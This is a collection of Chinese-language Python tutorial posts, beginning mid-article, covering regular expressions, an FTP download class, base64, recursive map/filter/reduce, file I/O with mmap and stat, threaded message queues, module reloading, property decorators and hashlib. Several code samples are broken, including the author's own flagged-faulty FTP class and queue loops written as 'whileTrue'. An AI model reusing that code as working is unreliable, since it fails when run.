    >>> match.group(0)
    'dog'

#### 4\. 使用 re.findall – 所有匹配对象

目前为止在Python中我使用的最多的查找方法是findall()方法。当我们调用findall()方法，我们可以非常简单的得到一个所有匹配模式的列表，而不
是得到match的对象（我们会在接下来更多的讨论match对象）。对我而言这更加简单。对示例字符串调用findall()方法我们得到：



    ['dog', 'dog']
    >>> re.findall(r'cat', 'dog cat dog')
    ['cat']

#### 5\. 使用 match.start 和 match.end 方法

那么，先前search()和match()方法先前返回给我们的‘match'对象”到底是什么呢？

和只简单的返回字符串的匹配部分不同，search()和match()返回的“匹配对象”，实际上是一个关于匹配子串的包装类。

先前你看到我可以通过调用group()方法得到匹配的子串，（我们将在下一个部分看到，事实上匹配对象在处理分组问题时非常有用），但是匹配对象还包含了更多关于匹
配子串的信息。

例如，match对象可以告诉我们匹配的内容在原始字符串中的开始和结束位置：



    >>> match = re.search(r'dog', 'dog cat dog')
    >>> match.start()
    >>> match.end()

知道这些信息有时候非常有用。

#### 6\. 使用 mathch.group 通过数字分组

就像我之前提到的，匹配对象在处理分组时非常得心应手。

分组是对整个正则表达式的特定子串进行定位的能力。我们可以定义一个分组做为整个正则表达式的一部分，然后单独的对这部分对应匹配到的内容定位。

让我们来看一下它是怎么工作的：



    >>> contactInfo = 'Doe, John: 555-1212'

我刚才创建的字符串类似一个从某人的地址本里取出来的一个片段。我们可以通过这样一个正则表达式来匹配这一行：



    >>> re.search(r'\w+, \w+: \S+', contactInfo)
    <_sre.SRE_Match object at 0xb74e1ad8<

通过用圆括号来（字符‘('和‘)'）包围正则表达式的特定部分，我们可以对内容进行分组然后对这些子组做单独处理。



    >>> match = re.search(r'(\w+), (\w+): (\S+)', contactInfo)

这些分组可以通过用分组对象的group()方法得到。它们可以通过其在正则表达式中从左到右出现的数字顺序来定位（从1开始）：



    >>> match.group(1)
    'Doe'
    >>> match.group(2)
    'John'
    >>> match.group(3)
    '555-1212'

组的序数从1开始的原因是因为第0个组被预留来存放所有匹配对象（我们在之前学习match()方法和search()方法到时候看到过）。



    >>> match.group(0)
    'Doe, John: 555-1212'

#### 7\. 使用 match.group 通过别名来分组

有时候，特别是当一个正则表达式有很多分组的时候，通过组的出现次序来定位就会变的不现实。Python还允许你通过下面的语句来指定一个组名：



     >>> match = re.search(r'(?P<last>\w+), (?P<first>\w+): (?P<phone>\S+)', contactInfo)

我们还是可以用group()方法获取分组的内容，但这时候我们要用我们所指定的组名而不是之前所使用的组的所在位数。



    >>> match.group('last')
    'Doe'
    >>> match.group('first')
    'John'
    >>> match.group('phone')
    '555-1212'

这大大加强了代码的明确性和可读性。你可以想像当正则表达式变得越来越复杂，去弄懂一个分组到捕获了什么内容将会变得越来越困难。给你的分组命名将明确的告诉了你和你
的读者你的意图。

尽管findall()方法不返回分组对象，它也可以使用分组。类似的，findall()方法将返回一个元组的集合，其中每个元组中的第N个元素对应了正则表达式中
的第N个分组。



    >>> re.findall(r'(\w+), (\w+): (\S+)', contactInfo)
    [('Doe', 'John', '555-1212')]

但是，给分组命名并不适用于findall()方法。

在本文中我们介绍了Python中使用正则表达式的一些基础。我们学习了原始字符串类型（还有它能帮你解决的在使用正则表达式中一些头痛的问题）。我们还学习了如何适
使用match(), search(), and findall()方法进行基本的查询，以及如何使用分组来处理匹配对象的子组件。

和往常一样，如果想查看更多关于这个主题的内容，re模块的Python官方文档是一个非常好的资源。

在以后的文章中，我们将更深入的讨论Python中正则表达式的应用。我们将更加全面的学习匹配对象，学习如何使用它们在字符串中做替换，甚至使用它们从文本文件中去
解析Python数据结构。

Python之FTP传输

2018-01-01T00:00:00+08:00

# Python之FTP传输

访问FTP，无非两件事情：upload和download，最近在项目中需要从ftp下载大量文件，然后我就试着去实验自己的ftp操作类，如下（PS：此段有问题
，别复制使用，可以参考去试验自己的ftp类！）



    import os
    from ftplib import FTP

    class FTPSync():
        def __init__(self, host, usr, psw, log_file):
            self.host = host
            self.usr = usr
            self.psw = psw
            self.log_file = log_file

        def __ConnectServer(self):
            try:
                self.ftp = FTP(self.host)
                self.ftp.login(self.usr, self.psw)
                self.ftp.set_pasv(False)
                return True
            except Exception:
                return False

        def __CloseServer(self):
            try:
                self.ftp.quit()
                return True
            except Exception:
                return False

        def __CheckSizeEqual(self, remoteFile, localFile):
            try:
                remoteFileSize = self.ftp.size(remoteFile)
                localFileSize = os.path.getsize(localFile)
                if localFileSize == remoteFileSize:
                    return True
                else:
                    return False
            except Exception:
                return None

        def __DownloadFile(self, remoteFile, localFile):
            try:
                self.ftp.cwd(os.path.dirname(remoteFile))
                f = open(localFile, 'wb')
                remoteFileName = 'RETR ' + os.path.basename(remoteFile)
                self.ftp.retrbinary(remoteFileName, f.write)

                if self.__CheckSizeEqual(remoteFile, localFile):
                    self.log_file.write('The File is downloaded successfully to %s' + '\n' % localFile)
                    return True
                else:
                    self.log_file.write('The localFile %s size is not same with the remoteFile' + '\n' % localFile)
                    return False
            except Exception:
                return False

        def __DownloadFolder(self, remoteFolder, localFolder):
            try:
                fileList = []
                self.ftp.retrlines('NLST', fileList.append)
                for remoteFile in fileList:
                    localFile = os.path.join(localFolder, remoteFile)
                    return self.__DownloadFile(remoteFile, localFile)
            except Exception:
                return False

        def SyncFromFTP(self, remoteFolder, localFolder):
            self.__DownloadFolder(remoteFolder, localFolder)
            self.log_file.close()
            self.__CloseServer()

Python中base64加密解密方法详解及版本间差异

2018-01-01T00:00:00+08:00

# Python中base64加密解密方法详解及版本间差异

今天来看一下base64加密函数的使用，以及Python2与Python3中的不同。

### 一、base64

Base64是一种基于64个可打印字符来表示二进制数据的表示方法。由于2的6次方等于64，所以每6个比特为一个单元，对应某个可打印字符。三个字节有24个比特
，对应于4个Base64单元，即3个字节需要用4个可打印字符来表示。它可用来作为电子邮件的传输编码。在Base64中的可打印字符包括字母A-Z、a-z、数字
0-9 ，这样共有62个字符，此外两个可打印符号在不同的系统中而不同。编码后的数据比原始数据略长，为原来的4/3。

Base64常用于在通常处理文本数据的场合，表示、传输、存储一些二进制数据（或不可打印的字符串）。包括MIME的email，email via MIME,
在XML中存储复杂数据.

在邮件中的用途：

在MIME格式的电子邮件中，base64可以用来将binary的字节序列数据编码成ASCII字符序列构成的文本。使用时，在传输编码方式中指定base64。使
用的字符包括大小写字母各26个，加上10个数字，和加号“+”，斜杠“/”，一共64个字符，等号“=”用来作为后缀用途。

在URL中的用途：

标准的Base64并不适合直接放在URL里传输，因为URL编码器会把标准Base64中的“/”和“+”字符变为形如“%XX”的形式，而这些“%”号在存入数据
库时还需要再进行转换，因为ANSI SQL中已将“%”号用作通配符。

为解决此问题，可采用一种用于URL的改进Base64编码，它不在末尾填充'='号，并将标准Base64中的“+”和“/”分别改成了“*”和“-”，这样就免去
了在URL编解码和数据库存储时所要作的转换，避免了编码信息长度在此过程中的增加，并统一了数据库、表单等处对象标识符的格式。

另有一种用于正则表达式的改进Base64变种，它将“+”和“/”改成了“!”和“-”，因为“+”，“*”在正则表达式中都可能具有特殊含义。

### 二、python中使用



Python2 和 Python3 在base64处理上是不同的，Python3下传入的参数不能是Unicode字符串，需要进行转换

#### Python2：



    Python 2.7.10 (default, Oct 23 2015, 19:19:21) 
    [GCC 4.2.1 Compatible Apple LLVM 7.0.0 (clang-700.0.59.5)] on darwin
    Type "help", "copyright", "credits" or "license" for more information.
    >>> import base64
    >>> str = 'pythontab.com'
    >>> base64.b64encode(str)
    'cHl0aG9udGFiLmNvbQ=='
    >>> base64.b64decode('cHl0aG9udGFiLmNvbQ==')
    'pythontab.com'
    >>>



#### Python3：



    Python 3.5.2 (default, Aug 24 2016, 16:48:29) 
    [GCC 4.2.1 Compatible Apple LLVM 7.3.0 (clang-703.0.31)] on darwin
    Type "help", "copyright", "credits" or "license" for more information.
    >>> import base64
    >>> str = 'pythontab.com'
    >>> bytesStr = str.encode(encoding='utf-8')
    >>> bytesStr.decode()
    'pythontab.com'
    >>> b64str = base64.b64encode(bytesStr)
    >>> b64str
    b'cHl0aG9udGFiLmNvbQ=='
    >>> base64.b64decode(b64str)
    b'pythontab.com'
    >>>



**注意：**

首先要搞清楚，字符串在Python内部的表示是unicode编码.

因此，在做编码转换时，通常需要以unicode作为中间编码，即先将其他编码的字符串解码（decode）成unicode，再从unicode编码（encode
）成另一种编码。

decode的作用是将其他编码的字符串转换成unicode编码，

如str1.decode('gb2312')，表示将gb2312编码的字符串转换成unicode编码。

encode的作用是将unicode编码转换成其他编码的字符串，

如str2.encode('gb2312')，表示将unicode编码的字符串转换成gb2312编码。



### 三、其他的方法

base64.b64encode(s[, altchars])

base64.b64decode(s[, altchars])

altchars为可选的参数，用来替换+和/的一个两个长度的字符串。

base64.urlsafe_b64encode(s)

base64.urlsafe_b64decode(s)

此方法中用-代替了+，用_代替了/ ，这样可以保证编码后的字符串放在url里可以正常访问

base64.b32encode(s)

base64.b32decode(s[, casefold[, map01]])

base64.b16encode(s)

base64.b16decode(s[, casefold])

Python中map filter reduce的递归实现

2018-01-01T00:00:00+08:00

#  Python中map filter reduce的递归实现


    map2=lambda f,seq: [] if seq==[] else [f(seq[0])] + map2(f, seq[1:])

    filter2=lambda f, seq: [] if seq==[] else ( [seq[0]]+filter2(f, seq[1:]) if f(seq[0]) else filter2(f, seq[1:]) )

    reduce2=lambda f,seq,x: x if seq==[] else reduce2(f, seq[1:], f(x, seq[0]))

    scanl=lambda f,seq,x: [x] if seq==[] else  [x] +scanl(f, seq[1:], f(x,seq[0]))


    print map2(str, [1,2,3,5,8])
    print filter2(lambda x: x%2==0, range(10))
    print reduce2(lambda x,y: ''.join( ['(',x,'+',y,')'] ), map(str,range(1,11)), '0')
    print scanl(lambda x,y: ''.join( ['(',x,'+',y,')'] ), map(str,range(1,5)), '0')


    #Out:
    #['1', '2', '3', '5', '8']
    #[0, 2, 4, 6, 8]
    #((((((((((0+1)+2)+3)+4)+5)+6)+7)+8)+9)+10)
    #['0', '(0+1)', '((0+1)+2)', '(((0+1)+2)+3)', '((((0+1)+2)+3)+4)']

Python中map filter reduce的递归实现,注意：**要小心内存溢出**

Python中文件IO高效操作处理的技巧

2018-01-01T00:00:00+08:00

# Python中文件I/O高效操作处理的技巧

### 如何读写文本文件？

实际案例

某文本文件编码格式已直(如UTF-8,GBK,BIG5)，在python2.x和python3.x中分别如何读取这些文件？

解决方案

注意区分python2和python3中的差别

字符串的语义发生了变化：

python2

python3

str

bytes

unicode

str


python2.x 写入文件前对 unicode 编码，读入文件后对二进制字符串解码



    >>> f = open('py2.txt', 'w')
    >>> s = u'你好'
    >>> f.write(s.encode('gbk'))
    >>> f.close()
    >>> f = open('py2.txt', 'r')
    >>> t = f.read()
    >>> print t.decode('gbk')

你好

python3.x 中 open 函数指定 t 的文本模式， encoding 指定编码格式



    >>> f = open('py3.txt', 'wt', encoding='utf-8')
    >>> f.write('你好')
    2
    >>> f.close()
    >>> f = open('py3.txt', 'rt', encoding='utf-8')
    >>> s = f.read()
    >>> s
    '你好'

### 如何设置文件的缓冲

实际案例

将文件内容写入到硬盘设备时，使用系统调用，这类I/O操作的时间很长，为了减少I/O操作的次数，文件通常使用缓冲区（有足够多的数据才进行系统调用），文件的缓存
行为，分为全缓冲、行缓存、无缓冲。

如何设置Python中文件对象的缓冲行文？

解决方案

全缓冲： open 函数的 buffering 设置为大于1的整数n，n为缓冲区大小



    >>> f = open('demo2.txt', 'w', buffering=2048)
    >>> f.write('+' * 1024)
    >>> f.write('+' * 1023)
    # 大于2048的时候就写入文件
    >>> f.write('-' * 2)
    >>> f.close()

行缓冲： open 函数的 buffering 设置为1



    >>> f = open('demo3.txt', 'w', buffering=1)
    >>> f.write('abcd')
    >>> f.write('1234')
    # 只要加上\n就写入文件中
    >>> f.write('\n')
    >>> f.close()

无缓冲： open 函数的 buffering 设置为0



    >>> f = open('demo4.txt', 'w', buffering=0)
    >>> f.write('a')
    >>> f.write('b')
    >>> f.close()

### 如何将文件映射到内存？

实际案例

在访问某些二进制文件时，希望能把文件映射到内存中，可以实现随机访问.(framebuffer设备文件)

某些嵌入式设备，寄存器呗编址到内存地址空间，我们可以映射 /dev/mem 某范围，去访问这些寄存器

如果多个进程映射到同一个文件，还能实现进程通信的目的

解决方案

使用标准库中的 mmap 模块的 mmap() 函数，它需要一个打开的文件描述符作为参数

创建如下文件



    [root@pythontab.com ~]# dd if=/dev/zero of=demo.bin bs=1024 count=1024
    1024+0 records in
    1024+0 records out
    1048576 bytes (1.0 MB) copied, 0.00380084 s, 276 MB/s
    # 以十六进制格式查看文件内容
    [root@pythontab.com ~]# od -x demo.bin 
    0000000 0000 0000 0000 0000 0000 0000 0000 0000
    *
    4000000


    >>> import mmap
    >>> import os
    >>> f = open('demo.bin','r+b')
    # 获取文件描述符
    >>> f.fileno()
    3
    >>> m = mmap.mmap(f.fileno(),0,access=mmap.ACCESS_WRITE)
    >>> type(m)
    <type 'mmap.mmap'>
    # 可以通过索引获取内容
    >>> m[0]
    '\x00'
    >>> m[10:20]
    '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    # 修改内容
    >>> m[0] = '\x88'

查看



    [root@pythontab.com ~]# od -x demo.bin 
    0000000 0088 0000 0000 0000 0000 0000 0000 0000
    0000020 0000 0000 0000 0000 0000 0000 0000 0000
    *
    4000000

修改切片



    >>> m[4:8] = '\xff' * 4

查看



    [root@pythontab.com ~]# od -x demo.bin 
    0000000 0088 0000 ffff ffff 0000 0000 0000 0000
    0000020 0000 0000 0000 0000 0000 0000 0000 0000
    *
    4000000


    >>> m = mmap.mmap(f.fileno(),mmap.PAGESIZE * 8,access=mmap.ACCESS_WRITE,offset=mmap.PAGESIZE * 4) 
    >>> m[:0x1000] = '\xaa' * 0x1000

查看



    [root@pythontab.com ~]# od -x demo.bin 
    0000000 0088 0000 ffff ffff 0000 0000 0000 0000
    0000020 0000 0000 0000 0000 0000 0000 0000 0000
    *
    0040000 aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa
    *
    0050000 0000 0000 0000 0000 0000 0000 0000 0000
    *
    4000000

### 如何访问文件的状态？

实际案例

在某些项目中，我们需要获得文件状态，例如：

文件的类型(普通文件、目录、符号链接、设备文件…)

文件的访问权限

文件的最后的访问/修改/节点状态更改时间

普通文件的大小

…..

解决方案

当前目录有如下文件



    [root@pythontab.com 2017]# ll
    total 4
    drwxr-xr-x 2 root root 4096 Sep 16 11:35 dirs
    -rw-r--r-- 1 root root 0 Sep 16 11:35 files
    lrwxrwxrwx 1 root root 37 Sep 16 11:36 lockfile -> /tmp/qtsingleapp-aegisG-46d2-lockfile

系统调用

标准库中的os模块下的三个系统调用 stat 、 fstat 、 lstat 获取文件状态



    >>> import os
    >>> s = os.stat('files')
    >>> s
    posix.stat_result(st_mode=33188, st_ino=267646, st_dev=51713L, st_nlink=1, st_uid=0, st_gid=0, st_size=0, st_atime=1486197100, st_mtime=1486197100, st_ctime=1486197100)
    >>> s.st_mode
    33188
    >>> import stat
    # stat有很多S_IS..方法来判断文件的类型
    >>> stat.S_ISDIR(s.st_mode)
    False
    # 普通文件
    >>> stat.S_ISREG(s.st_mode)
    True

获取文件的访问权限，只要大于0就为真



    >>> s.st_mode & stat.S_IRUSR
    256
    >>> s.st_mode & stat.S_IXGRP
    0
    >>> s.st_mode & stat.S_IXOTH
    0

获取文件的修改时间



    # 访问时间
    >>> s.st_atime
    1486197100.3384446
    # 修改时间
    >>> s.st_mtime
    1486197100.3384446
    # 状态更新时间
    >>> s.st_ctime
    1486197100.3384446

将获取到的时间戳进行转换



    >>> import time
    >>> time.localtime(s.st_atime)
    time.struct_time(tm_year=2016, tm_mon=9, tm_mday=16, tm_hour=11, tm_min=35, tm_sec=47, tm_wday=4, tm_yday=260, tm_isdst=0)

获取普通文件的大小



    >>> s.st_size
    0

快捷函数

标准库中 os.path 下的一些函数，使用起来更加简洁

文件类型判断



    >>> os.path.isdir('dirs') 
    True
    >>> os.path.islink('lockfile')
    True
    >>> os.path.isfile('files') 
    True

文件三个时间



    >>> os.path.getatime('files')
    1486197100.3384445
    >>> os.path.getmtime('files')
    1486197100.3384445
    >>> os.path.getctime('files')
    1486197100.3384445

获取文件大小



    >>> os.path.getsize('files') 
    0

### 如何使用临时文件？

实际案例

某项目中，我们从传感器采集数据，每收集到1G数据后，做数据分析，最终只保存分析结果，这样很大的临时数据如果常驻内存，将消耗大量内存资源，我们可以使用临时文件
存储这些临时数据(外部存储)

临时文件不用命名，且关闭后会自动被删除

解决方案

使用标准库中的 tempfile 下的 TemporaryFile, NamedTemporaryFile



    >>> from tempfile import TemporaryFile, NamedTemporaryFile
    # 访问的时候只能通过对象f来进行访问
    >>> f = TemporaryFile()
    >>> f.write('abcdef' * 100000)
    # 访问临时数据
    >>> f.seek(0)
    >>> f.read(100)
    'abcdefabcdefabcdefabcdefabcdefabcdefabcdefabcdefabcdefabcdefabcdefabcdefabcdefabcdefabcdefabcdefabcd'
    >>> ntf = NamedTemporaryFile()
    # 如果要让每次创建NamedTemporaryFile()对象时不删除文件，可以设置NamedTemporaryFile(delete=False)
    >>> ntf.name
    # 返回当前临时文件在文件系统中的路径
    '/tmp/tmppNvNA6'

Python中线程的MQ消息队列实现以及消息队列的优点解析

2018-01-01T00:00:00+08:00

# Python中线程的MQ消息队列实现以及消息队列的优点解析

消息队列(MQ,Message
Queue)在消息数据传输中的保存作用为数据通信提供了保障和实时处理上的便利,这里我们就来看一下Python中线程的MQ消息队列实现以及消息队列的优点解析

“消息队列”是在消息的传输过程中保存消息的容器。消息队列管理器在将消息从它的源中继到它的目标时充当中间人。队列的主要目的是提供路由并保证消息的传递；如果发送
消息时接收者不可用，消息队列会保留消息，直到可以成功地传递它。相信对任何架构或应用来说，消息队列都是一个至关重要的组件，下面是十个理由:

Python的消息队列示例：

### 1.threading+Queue实现线程队列



    #!/usr/bin/env python
     
    import Queue
    import threading
    import time
     
    queue = Queue.Queue()
     
    class ThreadNum(threading.Thread):
     """没打印一个数字等待1秒，并发打印10个数字需要多少秒？"""
     def __init__(self, queue):
      threading.Thread.__init__(self)
      self.queue = queue
     
     def run(self):
      whileTrue:
       #消费者端，从队列中获取num
       num = self.queue.get()
       print "i'm num %s"%(num)
       time.sleep(1)
       #在完成这项工作之后，使用 queue.task_done() 函数向任务已经完成的队列发送一个信号
       self.queue.task_done()
     
    start = time.time()
    def main():
     #产生一个 threads pool, 并把消息传递给thread函数进行处理，这里开启10个并发
     for i in range(10):
      t = ThreadNum(queue)
      t.setDaemon(True)
      t.start()
      
     #往队列中填错数据 
     for num in range(10):
       queue.put(num)
     #wait on the queue until everything has been processed
     queue.join()
     
    main()
    print "Elapsed Time: %s" % (time.time() - start)

运行结果：



    i'm num 0
    i'm num 1
    i'm num 2
    i'm num 3
    i'm num 4
    i'm num 5
    i'm num 6
    i'm num 7
    i'm num 8
    i'm num 9
    Elapsed Time: 1.01399993896

解读：

具体工作步骤描述如下：

1，创建一个 Queue.Queue() 的实例，然后使用数据对它进行填充。

2，将经过填充数据的实例传递给线程类，后者是通过继承 threading.Thread 的方式创建的。

3，生成守护线程池。

4，每次从队列中取出一个项目，并使用该线程中的数据和 run 方法以执行相应的工作。

5，在完成这项工作之后，使用 queue.task_done() 函数向任务已经完成的队列发送一个信号。

6，对队列执行 join 操作，实际上意味着等到队列为空，再退出主程序。

在使用这个模式时需要注意一点：通过将守护线程设置为 true，程序运行完自动退出。好处是在退出之前，可以对队列执行 join 操作、或者等到队列为空。



### 2.多个队列

所谓多个队列，一个队列的输出可以作为另一个队列的输入



    #!/usr/bin/env python
    import Queue
    import threading
    import time
     
    queue = Queue.Queue()
    out_queue = Queue.Queue()
     
    class ThreadNum(threading.Thread):
      def __init__(self, queue, out_queue):
        threading.Thread.__init__(self)
        self.queue = queue
        self.out_queue = out_queue
     
      def run(self):
        whileTrue:
          #从队列中取消息
          num = self.queue.get()
          bkeep = num
          
          #将bkeep放入队列中
          self.out_queue.put(bkeep)
     
          #signals to queue job is done
          self.queue.task_done()
     
    class PrintLove(threading.Thread):
      def __init__(self, out_queue):
        threading.Thread.__init__(self)
        self.out_queue = out_queue
     
      def run(self):
        whileTrue:
          #从队列中获取消息并赋值给bkeep
          bkeep = self.out_queue.get()  
          keke = "I love " + str(bkeep)
          print keke,
          print self.getName()
          time.sleep(1)
     
          #signals to queue job is done
          self.out_queue.task_done()
     
    start = time.time()
    def main():
      #populate queue with data
      for num in range(10):
        queue.put(num)
        
      #spawn a pool of threads, and pass them queue instance
      for i in range(5):
        t = ThreadNum(queue, out_queue)
        t.setDaemon(True)
        t.start()
     
     
      for i in range(5):
        pl = PrintLove(out_queue)
        pl.setDaemon(True)
        pl.start()
     
      #wait on the queue until everything has been processed
      queue.join()
      out_queue.join()
     
    main()
    print "Elapsed Time: %s" % (time.time() - start)

运行结果：



    I love 0 Thread-6
    I love 1 Thread-7
    I love 2 Thread-8
    I love 3 Thread-9
    I love 4 Thread-10
    I love 5 Thread-7
    I love 6 Thread-6
    I love 7 Thread-9
    I love 8 Thread-8
    I love 9 Thread-10
    Elapsed Time: 2.00300002098



解读：

ThreadNum 类工作流程

定义队列--->继承threading---->初始化queue---->定义run函数--->get
queue中的数据---->处理数据---->put数据到另外一个queue-->发信号告诉queue该条处理完毕



main函数工作流程：

\--->往自定义queue中扔数据

\--->for循环确定启动的线程数---->实例化ThreadNum类---->启动线程并设置守护

\--->for循环确定启动的线程数---->实例化PrintLove类--->启动线程并设置为守护

\--->等待queue中的消息处理完毕后执行join。即退出主程序。



了解了MQ的大概实现以后，我们来总结一下消息队列的优点：

### 1\. 解耦

在项目启动之初来预测将来项目会碰到什么需求，是极其困难的。消息队列在处理过程中间插入了一个隐含的、基于数据的接口层，两边的处理过程都要实现这一接口。这允许你
独立的扩展或修改两边的处理过程，只要确保它们遵守同样的接口约束。

### 2\. 冗余

有时在处理数据的时候处理过程会失败。除非数据被持久化，否则将永远丢失。消息队列把数据进行持久化直到它们已经被完全处理，通过这一方式规避了数据丢失风险。在被许
多消息队列所采用的"插入-获取-
删除"范式中，在把一个消息从队列中删除之前，需要你的处理过程明确的指出该消息已经被处理完毕，确保你的数据被安全的保存直到你使用完毕。

### 3\. 扩展性

因为消息队列解耦了你的处理过程，所以增大消息入队和处理的频率是很容易的；只要另外增加处理过程即可。不需要改变代码、不需要调节参数。扩展就像调大电力按钮一样简
单。

### 4\. 灵活性 & 峰值处理能力

当你的应用上了Hacker
News的首页，你将发现访问流量攀升到一个不同寻常的水平。在访问量剧增的情况下，你的应用仍然需要继续发挥作用，但是这样的突发流量并不常见；如果为
以能处理这类峰值访问为标准来投入资源随时待命无疑是巨大的浪费。使用消息队列能够使关键组件顶住增长的访问压力，而不是因为超出负荷的请求而完全崩溃。
请查看我们关于峰值处理能力的博客文章了解更多此方面的信息。

### 5\. 可恢复性

当体系的一部分组件失效，不会影响到整个系统。消息队列降低了进程间的耦合度，所以即使一个处理消息的进程挂掉，加入队列中的消息仍然可以在系统恢复后被处理。而这种
允许重试或者延后处理请求的能力通常是造就一个略感不便的用户和一个沮丧透顶的用户之间的区别。

### 6\. 送达保证

消息队列提供的冗余机制保证了消息能被实际的处理，只要一个进程读取了该队列即可。在此基础上，IronMQ提供了一个"只送达一次"保证。无论有多少进
程在从队列中领取数据，每一个消息只能被处理一次。这之所以成为可能，是因为获取一个消息只是"预定"了这个消息，暂时把它移出了队列。除非客户端明确的
表示已经处理完了这个消息，否则这个消息会被放回队列中去，在一段可配置的时间之后可再次被处理。

### 7.排序保证

在许多情况下，数据处理的顺序都很重要。消息队列本来就是排序的，并且能保证数据会按照特定的顺序来处理。IronMO保证消息浆糊通过FIFO（先进先出）的顺序来
处理，因此消息在队列中的位置就是从队列中检索他们的位置。

### 8.缓冲

在任何重要的系统中，都会有需要不同的处理时间的元素。例如,加载一张图片比应用过滤器花费更少的时间。消息队列通过一个缓冲层来帮助任务最高效率的执行--
写入队列的处理会尽可能的快速，而不受从队列读的预备处理的约束。该缓冲有助于控制和优化数据流经过系统的速度。

### 9\. 理解数据流

在一个分布式系统里，要得到一个关于用户操作会用多长时间及其原因的总体印象，是个巨大的挑战。消息系列通过消息被处理的频率，来方便的辅助确定那些表现不佳的处理过
程或领域，这些地方的数据流都不够优化。

### 10\. 异步通信

很多时候，你不想也不需要立即处理消息。消息队列提供了异步处理机制，允许你把一个消息放入队列，但并不立即处理它。你想向队列中放入多少消息就放多少，然后在你乐意
的时候再去处理它们。

Python重新加载模块方法

2018-01-01T00:00:00+08:00

# Python重新加载模块方法

为防止两个模块互相导入的问题，Python默认所有的模块都只导入一次，如果需要重新导入模块，

Python2.7可以直接用reload()，Python3可以用下面几种方法：



方法一：基本方法

from imp import reload

reload(module)



方法二：按照套路，可以这样

import imp

imp.reload(module)



方法三：看看imp.py，有发现，所以还可以这样

import importlib

importlib.reload(module)



方法四：根据天理，当然也可以这样

from importlib import reload

reload(module)

Python装饰器之property()详解

2018-01-01T00:00:00+08:00

# Python装饰器之property()详解

### 1\. 何为装饰器？

官方定义：装饰器是一个很著名的设计模式，经常被用于有切面需求的场景，较为经典的有插入日志、性能测试、事务处理等。装饰器是解决这类问题的绝佳设计，有了装饰器，
我们就可以抽离出大量函数中与函数功能本身无关的雷同代码并继续重用。概括的讲，装饰器的作用就是为已经存在的对象添加额外的功能。



Python中总共包括三个内置装饰器：



① staticmethod

② classmethod

③ property



### 2\. 属性函数 property() 浅谈



#### 2.1 为什么要使用 property？

通常，我们在访问属性和给属性赋值的时候，都是对 类和实例 __dict__ 打交道的；但如果我们想要规范属性访问，有两种方式可用：①数据描述符 ，②.
property() 属性函数。



然而，我们知道，描述符相对比较复杂，对于新手来说，用起来很吃力，那么不妨试试property()，相对于描述符这个大的进程，property就相当于线程。



#### 2.2 函数原型：

property(fget=None, fset=None, fdel=None, doc=None)

#### 2.3 普通方法定义：

假设 calss Normal中有一个私有变量 __x，如下代码所示：



    #code 1
    class Normal:
        def __init__(self):
            self.__x = None
        def getx(self):
            return self.__x
        def setx(self, value):
            self.__x = value
        def delx(self):
            del self.__x
    tN = Normal()
    print(tN.__count)

输出结果（报错了）



    Traceback (most recent call last):
      File "C:/Users/Administrator/AppData/Local/Programs/Python/Python35/property.py", line 15, in <module>
        print(tN.__count)
    AttributeError: 'Normal' object has no attribute '__count'



为啥报错了呢？因为 实例tN的属性 __x 为私有属性，不能直接访问，为此我们只能调用内部定义的 方法；



    tN = Normal()
    tN.setx(10)
    print(tN.getx())

输出结果：



    6 10



使用内部的方法，可以容易的得到实例的或者类的私有属性值；



然而，如果我想把 class Normal 的 setx方法名改成了其它（如
Normal_setx）,外部很多地方用到了该函数，是不是我需要一个一个的去找该方法的调用地点，然后一个一个的改呢？



c语言或许会，但Python，一个高级语言，怎么会这么点事都解决不了呢？

那么，该如何解决以上问题呢？



其实有两种方法。



### 方法一：使用 属性函数property()



    class Normal:
        def __init__(self):
            self.__x = None
        def getx(self):
            print('getx(): self.__x=', self.__x)
            return self.__x
        def setx(self, value):
            self.__x = value
            print('setx()')
        def delx(self):
            print('delx()')
            del self.__x
        y = property(getx, setx, delx, "I'm a property")
    tN=Normal()
    tN.y=10
    tN.y
    del tN.y
    #输出结果：
    setx()
    getx(): self.__x= 10
    delx()

直接把方法当属性来操作了，非常方便

### 方法二：使用 @property 装饰器



    class Normal:
        
        def __init__(self):
            self.__x = None
        @property
        def xx(self):
            print('getx(): self.__x=', self.__x)
            return self.__x
        
        @xx.setter
        def xx(self, value):
            self.__x = value
            print('setx()')
        @xx.deleter
        def xx(self):
            print('delx()')
            del self.__x
    tN=Normal()
    tN.xx=10
    tN.xx
    del tN.xx
    #输出结果信息：
    setx()
    getx(): self.__x= 10
    delx()

跟方法一 输出同样的结果，证明，这两种方法都可行的（注意：第一个一定是 @property(替代getter哦，不然会报错））。

Python3 加密解密技术详解

2018-01-01T00:00:00+08:00

# Python3 加密解密技术详解

Python 3
的标准库中没多少用来解决加密的，不过却有用于处理哈希的库。在这里我们会对其进行一个简单的介绍，但重点会放在两个第三方的软件包：PyCrypto 和
cryptography 上。我们将学习如何使用这两个库，来加密和解密字符串。

### 哈希

如果需要用到安全哈希算法或是消息摘要算法，那么你可以使用标准库中的 hashlib 模块。这个模块包含了符合
FIPS（美国联邦信息处理标准）的安全哈希算法，包括 SHA1，SHA224，SHA256，SHA384，SHA512 以及 RSA 的 MD5
算法。Python 也支持 adler32 以及 crc32 哈希函数，不过它们在 zlib 模块中。



哈希的一个最常见的用法是，存储密码的哈希值而非密码本身。当然了，使用的哈希函数需要稳健一点，否则容易被破解。另一个常见的用法是，计算一个文件的哈希值，然后将
这个文件和它的哈希值分别发送。接收到文件的人可以计算文件的哈希值，检验是否与接受到的哈希值相符。如果两者相符，就说明文件在传送的过程中未经篡改。



让我们试着创建一个 md5 哈希：



    >>> import hashlib
    >>> md5 = hashlib.md5()
    >>> md5.update('Python rocks!')
    Traceback (most recent call last):
      File "<pyshell#5>", line 1, in <module>
        md5.update('Python rocks!')
    TypeError: Unicode-objects must be encoded before hashing
    >>> md5.update(b'Python rocks!')
    >>> md5.digest()
    b'\x14\x82\xec\x1b#d\xf6N}\x16*+[\x16\xf4w'

让我们花点时间一行一行来讲解。首先，我们导入 hashlib ，然后创建一个 md5
哈希对象的实例。接着，我们向这个实例中添加一个字符串后，却得到了报错信息。原来，计算 md5
哈希时，需要使用字节形式的字符串而非普通字符串。正确添加字符串后，我们调用它的 digest
函数来得到哈希值。如果你想要十六进制的哈希值，也可以用以下方法：



    >>> md5.hexdigest()
    '1482ec1b2364f64e7d162a2b5b16f477'

实际上，有一种精简的方法来创建哈希，下面我们看一下用这种方法创建一个 sha1 哈希：



    >>> sha = hashlib.sha1(b'Hello Python').hexdigest()
    >>> sha
